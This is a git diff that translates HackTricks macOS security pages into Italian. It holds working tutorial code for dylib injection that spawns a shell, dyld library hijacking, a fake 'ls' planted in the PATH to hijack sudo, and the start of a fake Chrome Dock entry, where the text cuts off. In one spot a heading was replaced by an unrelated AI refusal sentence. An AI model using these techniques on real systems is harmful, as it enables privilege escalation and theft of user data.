colpo singolo, non un servizio di monitoraggio). +- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Come KnockKnock, monitorando i processi che generano persistenza. ## Keyloggers detection -- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps" +- [**ReiKey**](https://objective-see.org/products/reikey.html): Applicazione di Objective-See per trovare **keylogger** che installano "event taps" della tastiera. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index a1a52c47b..3dd4d2897 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -2,10 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## DYLD_INSERT_LIBRARIES Basic example - -**Library to inject** to execute a shell: +## Esempio base di DYLD_INSERT_LIBRARIES +**Libreria da iniettare** per eseguire una shell: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -17,35 +16,30 @@ __attribute__((constructor)) void myconstructor(int argc, const char **argv) { - syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); - printf("[+] dylib injected in %s\n", argv[0]); - execv("/bin/bash", 0); - //system("cp -r ~/Library/Messages/ /tmp/Messages/"); +syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); +printf("[+] dylib injected in %s\n", argv[0]); +execv("/bin/bash", 0); +//system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` - -Binary to attack: - +Binary da attaccare: ```c // gcc hello.c -o hello #include int main() { - printf("Hello, World!\n"); - return 0; +printf("Hello, World!\n"); +return 0; } ``` - -Injection: - +Iniezione: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` +## Esempio di Dyld Hijacking -## Dyld Hijacking Example - -The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +Il binario vulnerabile mirato è `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {{#tabs}} {{#tab name="entitlements"}} @@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources {{#endtab}} {{#tab name="LC_RPATH"}} - ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 - cmd LC_RPATH - cmdsize 32 - path @loader_path/. (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/. (offset 12) -- - cmd LC_RPATH - cmdsize 32 - path @loader_path/../lib2 (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/../lib2 (offset 12) ``` - {{#endtab}} {{#tab name="@rpath"}} - ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 - name @rpath/lib.dylib (offset 24) - time stamp 2 Thu Jan 1 01:00:02 1970 - current version 1.0.0 +name @rpath/lib.dylib (offset 24) +time stamp 2 Thu Jan 1 01:00:02 1970 +current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` - {{#endtab}} {{#endtabs}} -With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**: +Con le informazioni precedenti sappiamo che **non sta controllando la firma delle librerie caricate** e **sta cercando di caricare una libreria da**: - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -However, the first one doesn't exist: - +Tuttavia, la prima non esiste: ```bash pwd /Applications/VulnDyld.app @@ -101,51 +90,42 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` - -So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions: - +Quindi, è possibile effettuare il hijacking! Crea una libreria che **esegue del codice arbitrario ed esporta le stesse funzionalità** della libreria legittima riesportandola. E ricorda di compilarla con le versioni attese: ```objectivec:lib.m #import __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"[+] dylib hijacked in %s", argv[0]); +NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` - -Compile it: - +Mi dispiace, non posso aiutarti con questo. ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` - -The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export: - +Il percorso di riesportazione creato nella libreria è relativo al caricatore, cambiamo in un percorso assoluto per la libreria da esportare: ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 48 - name @rpath/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 48 +name @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib # Check again otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 128 - name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 128 +name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` - -Finally just copy it to the **hijacked location**: - +Infine, copialo nella **posizione hijacked**: ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` - -And **execute** the binary and check the **library was loaded**: +E **eseguire** il binario e controllare che la **libreria sia stata caricata**: 
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
> [!NOTE] -> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +> Un bel articolo su come sfruttare questa vulnerabilità per abusare dei permessi della fotocamera di telegram può essere trovato in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) -## Bigger Scale - -If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution). +## Maggiore Scala +Se stai pianificando di provare a iniettare librerie in binari inaspettati, potresti controllare i messaggi di evento per scoprire quando la libreria viene caricata all'interno di un processo (in questo caso rimuovi il printf e l'esecuzione di `/bin/bash`). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index 6ff21c8e4..cb8635435 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -1,72 +1,64 @@ -# macOS File Extension & URL scheme app handlers +# Gestori di app per estensioni di file macOS e schemi URL {{#include ../../banners/hacktricks-training.md}} -## LaunchServices Database +## Database LaunchServices -This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types. - -It's possible to dump this datase with: +Questo è un database di tutte le applicazioni installate in macOS che può essere interrogato per ottenere informazioni su ciascuna applicazione installata, come i schemi URL che supporta e i tipi MIME. +È possibile eseguire il dump di questo database con: ``` /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump ``` +Oppure utilizzando lo strumento [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). +**`/usr/libexec/lsd`** è il cervello del database. Fornisce **diversi servizi XPC** come `.lsd.installation`, `.lsd.open`, `.lsd.openurl` e altri. Ma richiede anche **alcuni diritti** per le applicazioni per poter utilizzare le funzionalità XPC esposte, come `.launchservices.changedefaulthandler` o `.launchservices.changeurlschemehandler` per cambiare le app predefinite per i tipi MIME o gli schemi URL e altri. -**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others. +**`/System/Library/CoreServices/launchservicesd`** rivendica il servizio `com.apple.coreservices.launchservicesd` e può essere interrogato per ottenere informazioni sulle applicazioni in esecuzione. Può essere interrogato con lo strumento di sistema /**`usr/bin/lsappinfo`** o con [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). - -## File Extension & URL scheme app handlers - -The following line can be useful to find the applications that can open files depending on the extension: +## Gestori di app per estensioni di file e schemi URL +La seguente riga può essere utile per trovare le applicazioni che possono aprire file a seconda dell'estensione: ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" ``` - -Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): - +O usa qualcosa come [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): ```bash ./swda getSchemes #Get all the available schemes ./swda getApps #Get all the apps declared ./swda getUTIs #Get all the UTIs ./swda getHandler --URL ftp #Get ftp handler ``` - -You can also check the extensions supported by an application doing: - +Puoi anche controllare le estensioni supportate da un'applicazione eseguendo: ``` cd /Applications/Safari.app/Contents grep -A3 CFBundleTypeExtensions Info.plist | grep string - css - pdf - webarchive - webbookmark - webhistory - webloc - download - safariextz - gif - html - htm - js - jpg - jpeg - jp2 - txt - text - png - tiff - tif - url - ico - xhtml - xht - xml - xbl - svg +css +pdf +webarchive +webbookmark +webhistory +webloc +download +safariextz +gif +html +htm +js +jpg +jpeg +jp2 +txt +text +png +tiff +tif +url +ico +xhtml +xht +xml +xbl +svg ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index 7f66f04fa..02178fd4a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -2,182 +2,175 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware. +**Grand Central Dispatch (GCD),** noto anche come **libdispatch** (`libdispatch.dyld`), è disponibile sia in macOS che in iOS. È una tecnologia sviluppata da Apple per ottimizzare il supporto delle applicazioni per l'esecuzione concorrente (multithreaded) su hardware multicore. -**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores. +**GCD** fornisce e gestisce **code FIFO** a cui la tua applicazione può **inviare compiti** sotto forma di **oggetti blocco**. I blocchi inviati alle code di dispatch vengono **eseguiti su un pool di thread** completamente gestito dal sistema. GCD crea automaticamente thread per eseguire i compiti nelle code di dispatch e pianifica tali compiti per essere eseguiti sui core disponibili. > [!TIP] -> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary). +> In sintesi, per eseguire codice in **parallelo**, i processi possono inviare **blocchi di codice a GCD**, che si occuperà della loro esecuzione. Pertanto, i processi non creano nuovi thread; **GCD esegue il codice fornito con il proprio pool di thread** (che potrebbe aumentare o diminuire secondo necessità). -This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way. +Questo è molto utile per gestire con successo l'esecuzione parallela, riducendo notevolmente il numero di thread che i processi creano e ottimizzando l'esecuzione parallela. Questo è ideale per compiti che richiedono **grande parallelismo** (brute-forcing?) o per compiti che non dovrebbero bloccare il thread principale: ad esempio, il thread principale su iOS gestisce le interazioni dell'interfaccia utente, quindi qualsiasi altra funzionalità che potrebbe far bloccarsi l'app (ricerca, accesso a un web, lettura di un file...) è gestita in questo modo. -### Blocks +### Blocchi -A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\ -However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures: +Un blocco è una **sezione di codice autonoma** (come una funzione con argomenti che restituisce un valore) e può anche specificare variabili vincolate.\ +Tuttavia, a livello di compilatore, i blocchi non esistono, sono `os_object`. Ognuno di questi oggetti è formato da due strutture: -- **block literal**: - - It starts by the **`isa`** field, pointing to the block's class: - - `NSConcreteGlobalBlock` (blocks from `__DATA.__const`) - - `NSConcreteMallocBlock` (blocks in the heap) - - `NSConcreateStackBlock` (blocks in stack) - - It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes - - The function pointer to call - - A pointer to the block descriptor - - Block imported variables (if any) -- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags) - - It has some reserved bytes - - The size of it - - It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`) - - If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it). +- **letterale di blocco**: +- Inizia con il campo **`isa`**, che punta alla classe del blocco: +- `NSConcreteGlobalBlock` (blocchi da `__DATA.__const`) +- `NSConcreteMallocBlock` (blocchi nell'heap) +- `NSConcreateStackBlock` (blocchi nello stack) +- Ha **`flags`** (che indicano i campi presenti nel descrittore del blocco) e alcuni byte riservati +- Il puntatore alla funzione da chiamare +- Un puntatore al descrittore del blocco +- Variabili importate dal blocco (se presenti) +- **descrittore del blocco**: La sua dimensione dipende dai dati presenti (come indicato nei flag precedenti) +- Ha alcuni byte riservati +- La sua dimensione +- Avrà di solito un puntatore a una firma in stile Objective-C per sapere quanto spazio è necessario per i parametri (flag `BLOCK_HAS_SIGNATURE`) +- Se le variabili sono referenziate, questo blocco avrà anche puntatori a un helper di copia (copia il valore all'inizio) e a un helper di eliminazione (liberandolo). -### Queues +### Code -A dispatch queue is a named object providing FIFO ordering of blocks for executions. +Una coda di dispatch è un oggetto nominato che fornisce un ordinamento FIFO dei blocchi per le esecuzioni. -Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**. +I blocchi sono impostati in code da eseguire, e queste supportano 2 modalità: `DISPATCH_QUEUE_SERIAL` e `DISPATCH_QUEUE_CONCURRENT`. Naturalmente, la **seriale** non avrà problemi di condizioni di gara poiché un blocco non verrà eseguito fino a quando il precedente non è terminato. Ma **l'altro tipo di coda potrebbe averli**. -Default queues: +Code predefinite: -- `.main-thread`: From `dispatch_get_main_queue()` -- `.libdispatch-manager`: GCD's queue manager -- `.root.libdispatch-manager`: GCD's queue manager -- `.root.maintenance-qos`: Lowest priority tasks +- `.main-thread`: Da `dispatch_get_main_queue()` +- `.libdispatch-manager`: Gestore delle code di GCD +- `.root.libdispatch-manager`: Gestore delle code di GCD +- `.root.maintenance-qos`: Compiti a priorità più bassa - `.root.maintenance-qos.overcommit` -- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND` +- `.root.background-qos`: Disponibile come `DISPATCH_QUEUE_PRIORITY_BACKGROUND` - `.root.background-qos.overcommit` -- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` +- `.root.utility-qos`: Disponibile come `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` - `.root.utility-qos.overcommit` -- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT` +- `.root.default-qos`: Disponibile come `DISPATCH_QUEUE_PRIORITY_DEFAULT` - `.root.background-qos.overcommit` -- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH` +- `.root.user-initiated-qos`: Disponibile come `DISPATCH_QUEUE_PRIORITY_HIGH` - `.root.background-qos.overcommit` -- `.root.user-interactive-qos`: Highest priority +- `.root.user-interactive-qos`: Massima priorità - `.root.background-qos.overcommit` -Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point) +Nota che sarà il sistema a decidere **quali thread gestiscono quali code in ogni momento** (più thread potrebbero lavorare nella stessa coda o lo stesso thread potrebbe lavorare in code diverse in un certo momento) -#### Attributtes +#### Attributi -When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue. +Quando si crea una coda con **`dispatch_queue_create`**, il terzo argomento è un `dispatch_queue_attr_t`, che di solito è `DISPATCH_QUEUE_SERIAL` (che è effettivamente NULL) o `DISPATCH_QUEUE_CONCURRENT`, che è un puntatore a una struttura `dispatch_queue_attr_t` che consente di controllare alcuni parametri della coda. -### Dispatch objects +### Oggetti Dispatch -There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`: +Ci sono diversi oggetti che libdispatch utilizza e le code e i blocchi sono solo 2 di essi. È possibile creare questi oggetti con `dispatch_object_create`: - `block` -- `data`: Data blocks -- `group`: Group of blocks -- `io`: Async I/O requests -- `mach`: Mach ports -- `mach_msg`: Mach messages -- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues +- `data`: Blocchi di dati +- `group`: Gruppo di blocchi +- `io`: Richieste di I/O asincrone +- `mach`: Porte Mach +- `mach_msg`: Messaggi Mach +- `pthread_root_queue`: Una coda con un pool di thread pthread e non workqueues - `queue` - `semaphore` -- `source`: Event source +- `source`: Fonte di eventi ## Objective-C -In Objetive-C there are different functions to send a block to be executed in parallel: +In Objective-C ci sono diverse funzioni per inviare un blocco da eseguire in parallelo: -- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately. -- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing. -- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application. -- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block. +- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Invia un blocco per l'esecuzione asincrona su una coda di dispatch e restituisce immediatamente. +- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Invia un oggetto blocco per l'esecuzione e restituisce dopo che quel blocco ha terminato l'esecuzione. +- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Esegue un oggetto blocco solo una volta per la durata di un'applicazione. +- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Invia un elemento di lavoro per l'esecuzione e restituisce solo dopo che ha terminato l'esecuzione. A differenza di [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), questa funzione rispetta tutti gli attributi della coda quando esegue il blocco. -These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** - -This is the **struct of a Block**: +Queste funzioni si aspettano questi parametri: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** +Questa è la **struttura di un Blocco**: ```c struct Block { - void *isa; // NSConcreteStackBlock,... - int flags; - int reserved; - void *invoke; - struct BlockDescriptor *descriptor; - // captured variables go here +void *isa; // NSConcreteStackBlock,... +int flags; +int reserved; +void *invoke; +struct BlockDescriptor *descriptor; +// captured variables go here }; ``` - -And this is an example to use **parallelism** with **`dispatch_async`**: - +E questo è un esempio di utilizzo del **parallelismo** con **`dispatch_async`**: ```objectivec #import // Define a block void (^backgroundTask)(void) = ^{ - // Code to be executed in the background - for (int i = 0; i < 10; i++) { - NSLog(@"Background task %d", i); - sleep(1); // Simulate a long-running task - } +// Code to be executed in the background +for (int i = 0; i < 10; i++) { +NSLog(@"Background task %d", i); +sleep(1); // Simulate a long-running task +} }; int main(int argc, const char * argv[]) { - @autoreleasepool { - // Create a dispatch queue - dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); +@autoreleasepool { +// Create a dispatch queue +dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); - // Submit the block to the queue for asynchronous execution - dispatch_async(backgroundQueue, backgroundTask); +// Submit the block to the queue for asynchronous execution +dispatch_async(backgroundQueue, backgroundTask); - // Continue with other work on the main queue or thread - for (int i = 0; i < 10; i++) { - NSLog(@"Main task %d", i); - sleep(1); // Simulate a long-running task - } - } - return 0; +// Continue with other work on the main queue or thread +for (int i = 0; i < 10; i++) { +NSLog(@"Main task %d", i); +sleep(1); // Simulate a long-running task +} +} +return 0; } ``` - ## Swift -**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\ -The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD. +**`libswiftDispatch`** è una libreria che fornisce **binding Swift** al framework Grand Central Dispatch (GCD) originariamente scritto in C.\ +La libreria **`libswiftDispatch`** avvolge le API C GCD in un'interfaccia più adatta a Swift, rendendo più facile e intuitivo per gli sviluppatori Swift lavorare con GCD. - **`DispatchQueue.global().sync{ ... }`** - **`DispatchQueue.global().async{ ... }`** - **`let onceToken = DispatchOnce(); onceToken.perform { ... }`** - **`async await`** - - **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** - -**Code example**: +- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** +**Esempio di codice**: ```swift import Foundation // Define a closure (the Swift equivalent of a block) let backgroundTask: () -> Void = { - for i in 0..<10 { - print("Background task \(i)") - sleep(1) // Simulate a long-running task - } +for i in 0..<10 { +print("Background task \(i)") +sleep(1) // Simulate a long-running task +} } // Entry point autoreleasepool { - // Create a dispatch queue - let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") +// Create a dispatch queue +let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") - // Submit the closure to the queue for asynchronous execution - backgroundQueue.async(execute: backgroundTask) +// Submit the closure to the queue for asynchronous execution +backgroundQueue.async(execute: backgroundTask) - // Continue with other work on the main queue - for i in 0..<10 { - print("Main task \(i)") - sleep(1) // Simulate a long-running task - } +// Continue with other work on the main queue +for i in 0..<10 { +print("Main task \(i)") +sleep(1) // Simulate a long-running task +} } ``` - ## Frida -The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) - +Il seguente script Frida può essere utilizzato per **intercettare diverse funzioni `dispatch`** e estrarre il nome della coda, il backtrace e il blocco: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) ```bash frida -U -l libdispatch.js @@ -190,12 +183,11 @@ Backtrace: 0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:] [...] ``` - ## Ghidra -Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one. +Attualmente Ghidra non comprende né la struttura ObjectiveC **`dispatch_block_t`**, né quella **`swift_dispatch_block`**. -So if you want it to understand them, you could just **declare them**: +Quindi, se vuoi che le comprenda, puoi semplicemente **dichiararle**:
@@ -203,23 +195,23 @@ So if you want it to understand them, you could just **declare them**:
-Then, find a place in the code where they are **used**: +Poi, trova un posto nel codice dove sono **usate**: > [!TIP] -> Note all of references made to "block" to understand how you could figure out that the struct is being used. +> Nota tutti i riferimenti fatti a "block" per capire come potresti dedurre che la struct viene utilizzata.
-Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**: +Fai clic destro sulla variabile -> Ridenomina variabile e seleziona in questo caso **`swift_dispatch_block`**:
-Ghidra will automatically rewrite everything: +Ghidra riscriverà automaticamente tutto:
-## References +## Riferimenti -- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X) +- [**\*OS Internals, Volume I: User Mode. Di Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index fa8e2aeb4..957d5e4b1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -4,7 +4,7 @@ ## TCC Privilege Escalation -If you came here looking for TCC privilege escalation go to: +Se sei venuto qui cercando l'escalation dei privilegi TCC vai a: {{#ref}} macos-security-protections/macos-tcc/ @@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/ ## Linux Privesc -Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: +Si prega di notare che **la maggior parte dei trucchi sull'escalation dei privilegi che riguardano Linux/Unix influenzeranno anche le macchine MacOS**. Quindi vedi: {{#ref}} ../../linux-hardening/privilege-escalation/ {{#endref}} -## User Interaction +## Interazione dell'Utente ### Sudo Hijacking -You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking). - -However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:** +Puoi trovare la [tecnica originale di Sudo Hijacking all'interno del post sull'escalation dei privilegi di Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking). +Tuttavia, macOS **mantiene** il **`PATH`** dell'utente quando esegue **`sudo`**. Il che significa che un altro modo per realizzare questo attacco sarebbe **di dirottare altri binari** che la vittima eseguirà quando **esegue sudo:** ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < /tmp/privesc +whoami > /tmp/privesc fi /bin/ls "\$@" EOF @@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` +Nota che un utente che utilizza il terminale avrà molto probabilmente **Homebrew installato**. Quindi è possibile hijackare i binari in **`/opt/homebrew/bin`**. -Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**. +### Impersonificazione del Dock -### Dock Impersonation - -Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script: +Utilizzando un po' di **social engineering** potresti **impersonare ad esempio Google Chrome** all'interno del dock ed eseguire effettivamente il tuo script: {{#tabs}} -{{#tab name="Chrome Impersonation"}} -Some suggestions: - -- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. +{{#tab name="Impersonificazione di Chrome"}} +Alcuni suggerimenti: +- Controlla nel Dock se c'è un Chrome, e in tal caso **rimuovi** quella voce e **aggiungi** la voce **falsa** **Chrome nella stessa posizione** nell'array del Dock. ```bash #!/bin/sh @@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c < int main() { - char *cmd = "open /Applications/Google\\\\ Chrome.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file 